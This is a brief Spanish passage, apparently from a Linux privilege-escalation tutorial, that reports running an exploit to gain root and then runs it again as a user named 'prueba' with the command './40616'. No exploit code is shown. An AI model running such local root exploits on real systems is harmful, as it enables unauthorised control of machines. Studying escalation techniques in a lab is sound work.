entramos a terminal y ejecutamos el "Exploit", vemos que se ejecuto correctamente, hemos escalado los privilegios root y por ende tenemos todos los permisos.

Siempre es bueno enseñar pruebas de todo, ejecutaremos el exploit en la misma maquina con un usuario llamado prueba:

./40616